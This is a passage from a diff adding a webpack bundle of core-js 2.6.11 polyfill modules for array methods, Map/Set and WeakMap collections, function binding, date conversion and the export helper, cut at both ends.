__webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +module.exports = function fill(value /* , start = 0, end = @length */) { + var O = toObject(this); + var length = toLength(O.length); + var aLen = arguments.length; + var index = toAbsoluteIndex(aLen > 1 ? arguments[1] : undefined, length); + var end = aLen > 2 ? arguments[2] : undefined; + var endPos = end === undefined ? length : toAbsoluteIndex(end, length); + while (endPos > index) O[index++] = value; + return O; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_array-includes.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/_array-includes.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// false -> Array#indexOf +// true -> Array#includes +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var toAbsoluteIndex = __webpack_require__(/*! ./_to-absolute-index */ "./node_modules/core-js/modules/_to-absolute-index.js"); +module.exports = function (IS_INCLUDES) { + return function ($this, el, fromIndex) { + var O = toIObject($this); + var length = toLength(O.length); + var index = toAbsoluteIndex(fromIndex, length); + var value; + // Array#includes uses SameValueZero equality algorithm + // eslint-disable-next-line no-self-compare + if (IS_INCLUDES && el != el) while (length > index) { + value = O[index++]; + // eslint-disable-next-line no-self-compare + if (value != value) return true; + // Array#indexOf ignores holes, Array#includes - not + } else for (;length > index; index++) if (IS_INCLUDES || index in O) { + if (O[index] === el) return IS_INCLUDES || index || 0; + } return !IS_INCLUDES && -1; + }; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_array-methods.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_array-methods.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 0 -> Array#forEach +// 1 -> Array#map +// 2 -> Array#filter +// 3 -> Array#some +// 4 -> Array#every +// 5 -> Array#find +// 6 -> Array#findIndex +var ctx = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js"); +var IObject = __webpack_require__(/*! ./_iobject */ "./node_modules/core-js/modules/_iobject.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var asc = __webpack_require__(/*! ./_array-species-create */ "./node_modules/core-js/modules/_array-species-create.js"); +module.exports = function (TYPE, $create) { + var IS_MAP = TYPE == 1; + var IS_FILTER = TYPE == 2; + var IS_SOME = TYPE == 3; + var IS_EVERY = TYPE == 4; + var IS_FIND_INDEX = TYPE == 6; + var NO_HOLES = TYPE == 5 || IS_FIND_INDEX; + var create = $create || asc; + return function ($this, callbackfn, that) { + var O = toObject($this); + var self = IObject(O); + var f = ctx(callbackfn, that, 3); + var length = toLength(self.length); + var index = 0; + var result = IS_MAP ? create($this, length) : IS_FILTER ? create($this, 0) : undefined; + var val, res; + for (;length > index; index++) if (NO_HOLES || index in self) { + val = self[index]; + res = f(val, index, O); + if (TYPE) { + if (IS_MAP) result[index] = res; // map + else if (res) switch (TYPE) { + case 3: return true; // some + case 5: return val; // find + case 6: return index; // findIndex + case 2: result.push(val); // filter + } else if (IS_EVERY) return false; // every + } + } + return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : result; + }; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_array-reduce.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/_array-reduce.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var IObject = __webpack_require__(/*! ./_iobject */ "./node_modules/core-js/modules/_iobject.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); + +module.exports = function (that, callbackfn, aLen, memo, isRight) { + aFunction(callbackfn); + var O = toObject(that); + var self = IObject(O); + var length = toLength(O.length); + var index = isRight ? length - 1 : 0; + var i = isRight ? -1 : 1; + if (aLen < 2) for (;;) { + if (index in self) { + memo = self[index]; + index += i; + break; + } + index += i; + if (isRight ? index < 0 : length <= index) { + throw TypeError('Reduce of empty array with no initial value'); + } + } + for (;isRight ? index >= 0 : length > index; index += i) if (index in self) { + memo = callbackfn(memo, self[index], index, O); + } + return memo; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_array-species-constructor.js": +/*!********************************************************************!*\ + !*** ./node_modules/core-js/modules/_array-species-constructor.js ***! + \********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var isArray = __webpack_require__(/*! ./_is-array */ "./node_modules/core-js/modules/_is-array.js"); +var SPECIES = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('species'); + +module.exports = function (original) { + var C; + if (isArray(original)) { + C = original.constructor; + // cross-realm fallback + if (typeof C == 'function' && (C === Array || isArray(C.prototype))) C = undefined; + if (isObject(C)) { + C = C[SPECIES]; + if (C === null) C = undefined; + } + } return C === undefined ? Array : C; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_array-species-create.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/_array-species-create.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 9.4.2.3 ArraySpeciesCreate(originalArray, length) +var speciesConstructor = __webpack_require__(/*! ./_array-species-constructor */ "./node_modules/core-js/modules/_array-species-constructor.js"); + +module.exports = function (original, length) { + return new (speciesConstructor(original))(length); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_bind.js": +/*!***********************************************!*\ + !*** ./node_modules/core-js/modules/_bind.js ***! + \***********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var invoke = __webpack_require__(/*! ./_invoke */ "./node_modules/core-js/modules/_invoke.js"); +var arraySlice = [].slice; +var factories = {}; + +var construct = function (F, len, args) { + if (!(len in factories)) { + for (var n = [], i = 0; i < len; i++) n[i] = 'a[' + i + ']'; + // eslint-disable-next-line no-new-func + factories[len] = Function('F,a', 'return new F(' + n.join(',') + ')'); + } return factories[len](F, args); +}; + +module.exports = Function.bind || function bind(that /* , ...args */) { + var fn = aFunction(this); + var partArgs = arraySlice.call(arguments, 1); + var bound = function (/* args... */) { + var args = partArgs.concat(arraySlice.call(arguments)); + return this instanceof bound ? construct(fn, args.length, args) : invoke(fn, args, that); + }; + if (isObject(fn.prototype)) bound.prototype = fn.prototype; + return bound; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_classof.js": +/*!**************************************************!*\ + !*** ./node_modules/core-js/modules/_classof.js ***! + \**************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// getting tag from 19.1.3.6 Object.prototype.toString() +var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js"); +var TAG = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('toStringTag'); +// ES3 wrong here +var ARG = cof(function () { return arguments; }()) == 'Arguments'; + +// fallback for IE11 Script Access Denied error +var tryGet = function (it, key) { + try { + return it[key]; + } catch (e) { /* empty */ } +}; + +module.exports = function (it) { + var O, T, B; + return it === undefined ? 'Undefined' : it === null ? 'Null' + // @@toStringTag case + : typeof (T = tryGet(O = Object(it), TAG)) == 'string' ? T + // builtinTag case + : ARG ? cof(O) + // ES3 arguments fallback + : (B = cof(O)) == 'Object' && typeof O.callee == 'function' ? 'Arguments' : B; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_cof.js": +/*!**********************************************!*\ + !*** ./node_modules/core-js/modules/_cof.js ***! + \**********************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var toString = {}.toString; + +module.exports = function (it) { + return toString.call(it).slice(8, -1); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_collection-strong.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/_collection-strong.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f; +var create = __webpack_require__(/*! ./_object-create */ "./node_modules/core-js/modules/_object-create.js"); +var redefineAll = __webpack_require__(/*! ./_redefine-all */ "./node_modules/core-js/modules/_redefine-all.js"); +var ctx = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js"); +var anInstance = __webpack_require__(/*! ./_an-instance */ "./node_modules/core-js/modules/_an-instance.js"); +var forOf = __webpack_require__(/*! ./_for-of */ "./node_modules/core-js/modules/_for-of.js"); +var $iterDefine = __webpack_require__(/*! ./_iter-define */ "./node_modules/core-js/modules/_iter-define.js"); +var step = __webpack_require__(/*! ./_iter-step */ "./node_modules/core-js/modules/_iter-step.js"); +var setSpecies = __webpack_require__(/*! ./_set-species */ "./node_modules/core-js/modules/_set-species.js"); +var DESCRIPTORS = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js"); +var fastKey = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js").fastKey; +var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js"); +var SIZE = DESCRIPTORS ? '_s' : 'size'; + +var getEntry = function (that, key) { + // fast case + var index = fastKey(key); + var entry; + if (index !== 'F') return that._i[index]; + // frozen object case + for (entry = that._f; entry; entry = entry.n) { + if (entry.k == key) return entry; + } +}; + +module.exports = { + getConstructor: function (wrapper, NAME, IS_MAP, ADDER) { + var C = wrapper(function (that, iterable) { + anInstance(that, C, NAME, '_i'); + that._t = NAME; // collection type + that._i = create(null); // index + that._f = undefined; // first entry + that._l = undefined; // last entry + that[SIZE] = 0; // size + if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that); + }); + redefineAll(C.prototype, { + // 23.1.3.1 Map.prototype.clear() + // 23.2.3.2 Set.prototype.clear() + clear: function clear() { + for (var that = validate(this, NAME), data = that._i, entry = that._f; entry; entry = entry.n) { + entry.r = true; + if (entry.p) entry.p = entry.p.n = undefined; + delete data[entry.i]; + } + that._f = that._l = undefined; + that[SIZE] = 0; + }, + // 23.1.3.3 Map.prototype.delete(key) + // 23.2.3.4 Set.prototype.delete(value) + 'delete': function (key) { + var that = validate(this, NAME); + var entry = getEntry(that, key); + if (entry) { + var next = entry.n; + var prev = entry.p; + delete that._i[entry.i]; + entry.r = true; + if (prev) prev.n = next; + if (next) next.p = prev; + if (that._f == entry) that._f = next; + if (that._l == entry) that._l = prev; + that[SIZE]--; + } return !!entry; + }, + // 23.2.3.6 Set.prototype.forEach(callbackfn, thisArg = undefined) + // 23.1.3.5 Map.prototype.forEach(callbackfn, thisArg = undefined) + forEach: function forEach(callbackfn /* , that = undefined */) { + validate(this, NAME); + var f = ctx(callbackfn, arguments.length > 1 ? arguments[1] : undefined, 3); + var entry; + while (entry = entry ? entry.n : this._f) { + f(entry.v, entry.k, this); + // revert to the last existing entry + while (entry && entry.r) entry = entry.p; + } + }, + // 23.1.3.7 Map.prototype.has(key) + // 23.2.3.7 Set.prototype.has(value) + has: function has(key) { + return !!getEntry(validate(this, NAME), key); + } + }); + if (DESCRIPTORS) dP(C.prototype, 'size', { + get: function () { + return validate(this, NAME)[SIZE]; + } + }); + return C; + }, + def: function (that, key, value) { + var entry = getEntry(that, key); + var prev, index; + // change existing entry + if (entry) { + entry.v = value; + // create new entry + } else { + that._l = entry = { + i: index = fastKey(key, true), // <- index + k: key, // <- key + v: value, // <- value + p: prev = that._l, // <- previous entry + n: undefined, // <- next entry + r: false // <- removed + }; + if (!that._f) that._f = entry; + if (prev) prev.n = entry; + that[SIZE]++; + // add to index + if (index !== 'F') that._i[index] = entry; + } return that; + }, + getEntry: getEntry, + setStrong: function (C, NAME, IS_MAP) { + // add .keys, .values, .entries, [@@iterator] + // 23.1.3.4, 23.1.3.8, 23.1.3.11, 23.1.3.12, 23.2.3.5, 23.2.3.8, 23.2.3.10, 23.2.3.11 + $iterDefine(C, NAME, function (iterated, kind) { + this._t = validate(iterated, NAME); // target + this._k = kind; // kind + this._l = undefined; // previous + }, function () { + var that = this; + var kind = that._k; + var entry = that._l; + // revert to the last existing entry + while (entry && entry.r) entry = entry.p; + // get next entry + if (!that._t || !(that._l = entry = entry ? entry.n : that._t._f)) { + // or finish the iteration + that._t = undefined; + return step(1); + } + // return step by kind + if (kind == 'keys') return step(0, entry.k); + if (kind == 'values') return step(0, entry.v); + return step(0, [entry.k, entry.v]); + }, IS_MAP ? 'entries' : 'values', !IS_MAP, true); + + // add [@@species], 23.1.2.2, 23.2.2.2 + setSpecies(NAME); + } +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_collection-weak.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/_collection-weak.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var redefineAll = __webpack_require__(/*! ./_redefine-all */ "./node_modules/core-js/modules/_redefine-all.js"); +var getWeak = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js").getWeak; +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var anInstance = __webpack_require__(/*! ./_an-instance */ "./node_modules/core-js/modules/_an-instance.js"); +var forOf = __webpack_require__(/*! ./_for-of */ "./node_modules/core-js/modules/_for-of.js"); +var createArrayMethod = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js"); +var $has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js"); +var arrayFind = createArrayMethod(5); +var arrayFindIndex = createArrayMethod(6); +var id = 0; + +// fallback for uncaught frozen keys +var uncaughtFrozenStore = function (that) { + return that._l || (that._l = new UncaughtFrozenStore()); +}; +var UncaughtFrozenStore = function () { + this.a = []; +}; +var findUncaughtFrozen = function (store, key) { + return arrayFind(store.a, function (it) { + return it[0] === key; + }); +}; +UncaughtFrozenStore.prototype = { + get: function (key) { + var entry = findUncaughtFrozen(this, key); + if (entry) return entry[1]; + }, + has: function (key) { + return !!findUncaughtFrozen(this, key); + }, + set: function (key, value) { + var entry = findUncaughtFrozen(this, key); + if (entry) entry[1] = value; + else this.a.push([key, value]); + }, + 'delete': function (key) { + var index = arrayFindIndex(this.a, function (it) { + return it[0] === key; + }); + if (~index) this.a.splice(index, 1); + return !!~index; + } +}; + +module.exports = { + getConstructor: function (wrapper, NAME, IS_MAP, ADDER) { + var C = wrapper(function (that, iterable) { + anInstance(that, C, NAME, '_i'); + that._t = NAME; // collection type + that._i = id++; // collection id + that._l = undefined; // leak store for uncaught frozen objects + if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that); + }); + redefineAll(C.prototype, { + // 23.3.3.2 WeakMap.prototype.delete(key) + // 23.4.3.3 WeakSet.prototype.delete(value) + 'delete': function (key) { + if (!isObject(key)) return false; + var data = getWeak(key); + if (data === true) return uncaughtFrozenStore(validate(this, NAME))['delete'](key); + return data && $has(data, this._i) && delete data[this._i]; + }, + // 23.3.3.4 WeakMap.prototype.has(key) + // 23.4.3.4 WeakSet.prototype.has(value) + has: function has(key) { + if (!isObject(key)) return false; + var data = getWeak(key); + if (data === true) return uncaughtFrozenStore(validate(this, NAME)).has(key); + return data && $has(data, this._i); + } + }); + return C; + }, + def: function (that, key, value) { + var data = getWeak(anObject(key), true); + if (data === true) uncaughtFrozenStore(that).set(key, value); + else data[that._i] = value; + return that; + }, + ufstore: uncaughtFrozenStore +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_collection.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_collection.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +var redefineAll = __webpack_require__(/*! ./_redefine-all */ "./node_modules/core-js/modules/_redefine-all.js"); +var meta = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js"); +var forOf = __webpack_require__(/*! ./_for-of */ "./node_modules/core-js/modules/_for-of.js"); +var anInstance = __webpack_require__(/*! ./_an-instance */ "./node_modules/core-js/modules/_an-instance.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var $iterDetect = __webpack_require__(/*! ./_iter-detect */ "./node_modules/core-js/modules/_iter-detect.js"); +var setToStringTag = __webpack_require__(/*! ./_set-to-string-tag */ "./node_modules/core-js/modules/_set-to-string-tag.js"); +var inheritIfRequired = __webpack_require__(/*! ./_inherit-if-required */ "./node_modules/core-js/modules/_inherit-if-required.js"); + +module.exports = function (NAME, wrapper, methods, common, IS_MAP, IS_WEAK) { + var Base = global[NAME]; + var C = Base; + var ADDER = IS_MAP ? 'set' : 'add'; + var proto = C && C.prototype; + var O = {}; + var fixMethod = function (KEY) { + var fn = proto[KEY]; + redefine(proto, KEY, + KEY == 'delete' ? function (a) { + return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a); + } : KEY == 'has' ? function has(a) { + return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a); + } : KEY == 'get' ? function get(a) { + return IS_WEAK && !isObject(a) ? undefined : fn.call(this, a === 0 ? 0 : a); + } : KEY == 'add' ? function add(a) { fn.call(this, a === 0 ? 0 : a); return this; } + : function set(a, b) { fn.call(this, a === 0 ? 0 : a, b); return this; } + ); + }; + if (typeof C != 'function' || !(IS_WEAK || proto.forEach && !fails(function () { + new C().entries().next(); + }))) { + // create collection constructor + C = common.getConstructor(wrapper, NAME, IS_MAP, ADDER); + redefineAll(C.prototype, methods); + meta.NEED = true; + } else { + var instance = new C(); + // early implementations not supports chaining + var HASNT_CHAINING = instance[ADDER](IS_WEAK ? {} : -0, 1) != instance; + // V8 ~ Chromium 40- weak-collections throws on primitives, but should return false + var THROWS_ON_PRIMITIVES = fails(function () { instance.has(1); }); + // most early implementations doesn't supports iterables, most modern - not close it correctly + var ACCEPT_ITERABLES = $iterDetect(function (iter) { new C(iter); }); // eslint-disable-line no-new + // for early implementations -0 and +0 not the same + var BUGGY_ZERO = !IS_WEAK && fails(function () { + // V8 ~ Chromium 42- fails only with 5+ elements + var $instance = new C(); + var index = 5; + while (index--) $instance[ADDER](index, index); + return !$instance.has(-0); + }); + if (!ACCEPT_ITERABLES) { + C = wrapper(function (target, iterable) { + anInstance(target, C, NAME); + var that = inheritIfRequired(new Base(), target, C); + if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that); + return that; + }); + C.prototype = proto; + proto.constructor = C; + } + if (THROWS_ON_PRIMITIVES || BUGGY_ZERO) { + fixMethod('delete'); + fixMethod('has'); + IS_MAP && fixMethod('get'); + } + if (BUGGY_ZERO || HASNT_CHAINING) fixMethod(ADDER); + // weak collections should not contains .clear method + if (IS_WEAK && proto.clear) delete proto.clear; + } + + setToStringTag(C, NAME); + + O[NAME] = C; + $export($export.G + $export.W + $export.F * (C != Base), O); + + if (!IS_WEAK) common.setStrong(C, NAME, IS_MAP); + + return C; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_core.js": +/*!***********************************************!*\ + !*** ./node_modules/core-js/modules/_core.js ***! + \***********************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var core = module.exports = { version: '2.6.11' }; +if (typeof __e == 'number') __e = core; // eslint-disable-line no-undef + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_create-property.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/_create-property.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $defineProperty = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js"); +var createDesc = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js"); + +module.exports = function (object, index, value) { + if (index in object) $defineProperty.f(object, index, createDesc(0, value)); + else object[index] = value; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_ctx.js": +/*!**********************************************!*\ + !*** ./node_modules/core-js/modules/_ctx.js ***! + \**********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// optional / simple context binding +var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js"); +module.exports = function (fn, that, length) { + aFunction(fn); + if (that === undefined) return fn; + switch (length) { + case 1: return function (a) { + return fn.call(that, a); + }; + case 2: return function (a, b) { + return fn.call(that, a, b); + }; + case 3: return function (a, b, c) { + return fn.call(that, a, b, c); + }; + } + return function (/* ...args */) { + return fn.apply(that, arguments); + }; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_date-to-iso-string.js": +/*!*************************************************************!*\ + !*** ./node_modules/core-js/modules/_date-to-iso-string.js ***! + \*************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 20.3.4.36 / 15.9.5.43 Date.prototype.toISOString() +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var getTime = Date.prototype.getTime; +var $toISOString = Date.prototype.toISOString; + +var lz = function (num) { + return num > 9 ? num : '0' + num; +}; + +// PhantomJS / old WebKit has a broken implementations +module.exports = (fails(function () { + return $toISOString.call(new Date(-5e13 - 1)) != '0385-07-25T07:06:39.999Z'; +}) || !fails(function () { + $toISOString.call(new Date(NaN)); +})) ? function toISOString() { + if (!isFinite(getTime.call(this))) throw RangeError('Invalid time value'); + var d = this; + var y = d.getUTCFullYear(); + var m = d.getUTCMilliseconds(); + var s = y < 0 ? '-' : y > 9999 ? '+' : ''; + return s + ('00000' + Math.abs(y)).slice(s ? -6 : -4) + + '-' + lz(d.getUTCMonth() + 1) + '-' + lz(d.getUTCDate()) + + 'T' + lz(d.getUTCHours()) + ':' + lz(d.getUTCMinutes()) + + ':' + lz(d.getUTCSeconds()) + '.' + (m > 99 ? m : '0' + lz(m)) + 'Z'; +} : $toISOString; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_date-to-primitive.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/_date-to-primitive.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js"); +var NUMBER = 'number'; + +module.exports = function (hint) { + if (hint !== 'string' && hint !== NUMBER && hint !== 'default') throw TypeError('Incorrect hint'); + return toPrimitive(anObject(this), hint != NUMBER); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_defined.js": +/*!**************************************************!*\ + !*** ./node_modules/core-js/modules/_defined.js ***! + \**************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// 7.2.1 RequireObjectCoercible(argument) +module.exports = function (it) { + if (it == undefined) throw TypeError("Can't call method on " + it); + return it; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_descriptors.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_descriptors.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// Thank's IE8 for his funny defineProperty +module.exports = !__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + return Object.defineProperty({}, 'a', { get: function () { return 7; } }).a != 7; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_dom-create.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_dom-create.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var document = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").document; +// typeof document.createElement is 'object' in old IE +var is = isObject(document) && isObject(document.createElement); +module.exports = function (it) { + return is ? document.createElement(it) : {}; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_enum-bug-keys.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_enum-bug-keys.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// IE 8- don't enum bug keys +module.exports = ( + 'constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf' +).split(','); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_enum-keys.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_enum-keys.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// all enumerable object keys, includes symbols +var getKeys = __webpack_require__(/*! ./_object-keys */ "./node_modules/core-js/modules/_object-keys.js"); +var gOPS = __webpack_require__(/*! ./_object-gops */ "./node_modules/core-js/modules/_object-gops.js"); +var pIE = __webpack_require__(/*! ./_object-pie */ "./node_modules/core-js/modules/_object-pie.js"); +module.exports = function (it) { + var result = getKeys(it); + var getSymbols = gOPS.f; + if (getSymbols) { + var symbols = getSymbols(it); + var isEnum = pIE.f; + var i = 0; + var key; + while (symbols.length > i) if (isEnum.call(it, key = symbols[i++])) result.push(key); + } return result; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_export.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/modules/_export.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var core = __webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js"); +var hide = __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js"); +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +var ctx = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js"); +var PROTOTYPE = 'prototype'; + +var $export = function (type, name, source) { + var IS_FORCED = type & $export.F; + var IS_GLOBAL = type & $export.G; + var IS_STATIC = type & $export.S; + var IS_PROTO = type & $export.P; + var IS_BIND = type & $export.B; + var target = IS_GLOBAL ? global : IS_STATIC ? global[name] || (global[name] = {}) : (global[name] || {})[PROTOTYPE]; + var exports = IS_GLOBAL ? core : core[name] || (core[name] = {}); + var expProto = exports[PROTOTYPE] || (exports[PROTOTYPE] = {}); + var key, own, out, exp; + if (IS_GLOBAL) source = name; + for (key in source) { + // contains in native + own = !IS_FORCED && target && target[key] !== undefined; + // export native or passed + out = (own ? target : source)[key]; + // bind timers to global for call from export context + exp = IS_BIND && own ? ctx(out, global) : IS_PROTO && typeof out == 'function' ? ctx(Function.call, out) : out; + // extend global + if (target) redefine(target, key, out, type & $export.U); + // export + if (exports[key] != out) hide(exports, key, exp); + if (IS_PROTO && expProto[key] != out) expProto[key] = out; + } +}; +global.core = core; +// type bitmap +$export.F = 1; // forced +$export.G = 2; // global +$export.S = 4; // static +$export.P = 8; // proto +$export.B = 16; // bind +$export.W = 32; // wrap +$export.U = 64; // safe +$export.R = 128; // real proto method for `library` +module.exports = $export; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_fails-is-regexp.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/_fails-is-regexp.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var MATCH = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('match'); +module.exports = function (KEY) { + var re = /./; + try { + '/./'[KEY](re); + } catch (e) { + try { + re[MATCH] = false; + return !'/./'[KEY](re); + } catch (f) { /* empty */ } + } return true; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_fails.js": +/*!************************************************!*\ + !*** ./node_modules/core-js/modules/_fails.js ***! + \************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (exec) { + try { + return !!exec(); + } catch (e) { + return true; + } +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_fix-re-wks.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_fix-re-wks.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +__webpack_require__(/*! ./es6.regexp.exec */ "./node_modules/core-js/modules/es6.regexp.exec.js"); +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +var hide = __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var defined = 